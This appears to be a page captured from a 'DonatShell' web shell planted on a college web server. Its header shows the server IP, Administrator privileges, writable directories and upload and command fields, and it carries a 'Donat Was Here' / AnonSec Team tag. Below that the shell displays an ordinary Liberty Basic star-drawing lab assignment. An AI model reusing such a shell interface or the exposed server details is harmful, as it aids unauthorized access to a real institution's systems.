GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /nginx/html/JimMartinson/_Archive/CST1794/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /nginx/html/JimMartinson/_Archive/CST1794//Lab15.php
<?
// CST1794/Lab15.php

$TRACK = "<b>".basename(__FILE__).'</b> <span class="pv_fl">('.__FILE__.")</span>\n<ol>\n";
ini_set('include_path',ini_get('include_path').PATH_SEPARATOR.$_SERVER['DOCUMENT_ROOT']."/"); // Add the DOCUMENT_ROOT to the include_path.
$thisFile=__FILE__; $thisLine=__LINE__; include('application.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Course/courseInfo.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('classInfo.phpinc');

$assignmentNumber = "15";
$assignmentType = "Lesson";
$assignmentTitle = "Creating Database Tables";
//$evaluationNumber = "";
$evaluationType = "Lab";
//$evaluationTitle = "";
if (!isset($evaluationTitle) || $evaluationTitle == "") { $evaluationTitle = $assignmentTitle; }
if (!isset($evaluationNumber) || $evaluationNumber == "") { $evaluationNumber = $assignmentNumber; }
if (strlen($assignmentNumber) == 1) { $assignmentName = $assignmentType."0".$assignmentNumber; } else { $assignmentName = $assignmentType.$assignmentNumber; }
if (strlen($evaluationNumber) == 1) { $evaluationName = $evaluationType."0".$evaluationNumber; } else { $evaluationName = $evaluationType.$evaluationNumber; }
if ($evaluationTitle != '') $evaluationTitle = ': '.$evaluationTitle;
$title = $assignmentType." ".$assignmentNumber.": ".$assignmentTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageHeader.phpinc');
$thisFile=__FILE__; $thisLine=__LINE__; include('Login/authenticate.phpinc');
$sectionTitle = $courseNumber.' '.$courseTitle.' - '.$title;
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionHeader.phpinc');
?>
<fieldset><legend>Personalized Instruction</legend><span class="normal">
<ol start="1">
  <li>Create a <b><?=$evaluationName?></b> folder inside of your <b>CST1794</b> folder and keep all files created, modified, or used in this lab there (CST1794/<?=$evaluationName?>)</li>
	<li>Write a program called <b><?=$evaluationName?>.bas</b> to perform the following:</li>
<pre class="code">'<b> StudentNameGoesHere</b>
' Lab15

' Write a computer program to:

'1. Display a window named Lab15 with a WindowWidth = 500 and WindowHeight = 500.

'2. Set backcolor blue.
'   Set horizscrollbar off.
'   Set vertscrollbar off.
'   fill the background with blue.

'3. Display a yellow star that is 200 on a side that has its center 100 up from the home position.
'   NOTE: There is no way for Liberty Basic to fill a star shape.
'         You will need to progressivly draw smaller and smaller stars inside the original to fill it.

'4. Display a yellow star that is 200 on a side that has its center 100 down from the home position.

'5. Display a yellow star that is 100 on a side that has its center 15 down and 100 right from the home position.

'6. Display a yellow star that is 100 on a side that has its center 15 down and 100 left from the home position.

'7. Place these lines after 3-6 have been drawn.
'   Replace #graphWin with the handle name you used to open the window.
'   They will place a small black circle in the center of each star. 
'   If they are not displayed in the center of each star then you did something wrong,
print #graphWin ,"home; north; up; turn 270; go 100; turn 270; go 15; size 1; color black; down; circle 3" 'left
print #graphWin ,"home; north; up; turn 180; go 100; size 1; color black; down; circle 3" 'down
print #graphWin ,"home; north; up; go 100; size 1; color black; down; circle 3" 'top
print #graphWin ,"home; north; up; turn 90; go 100; turn 90; go 15; size 1; color black; down; circle 3" 'right
print #graphWin ,"flush"
</pre>
NOTE: The program instructions above are written as <a href="dn/lb403win.exe">Liberty Basic v4.03 (lb403win.exe)</a> comments and may be copied directly into your program.
	</li>
	<li>The first program line must be a comment with your name. If you copied the comments above into your program then replace <b>StudentNameGoesHere</b> with your name.
	<li>The second program line must be a comment to identify the program as <b>Lab15</b>. If you copied the comments above into your program then this is already done.
	<li>	
		Submit the Lab for evaluation.
	<ol type="1">
		<li>Zip up the <b><?=$evaluationName?></b> folder into a file called <b><?=$evaluationName?>.zip</b>.</li>
		<li>Send the <b><?=$evaluationName?>.zip</b> file as an attachment using email to <b>jim.martinson@ridgewater.edu</b> with a subject of <span style="white-space:nowrap;"><b><?=$courseNumber?> <?=$evaluationName?> submission</b></span>.</li>
		<li>If you are not using Ridgewater's email system then enter your name as the first line of the message.</li>
	</ol>
</li>
</ol>
Below is an example of the output from the program.<br />
<img src="Lab15.png" alt="Lab15" />
</span></fieldset>
<?
$thisFile=__FILE__; $thisLine=__LINE__; include('ReferencesResources.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/sectionFooter.phpinc');
$thisFile = __FILE__; $thisLine=__LINE__; include('common/pageFooter.phpinc');

?>

Anon7 - 2022
AnonSec Team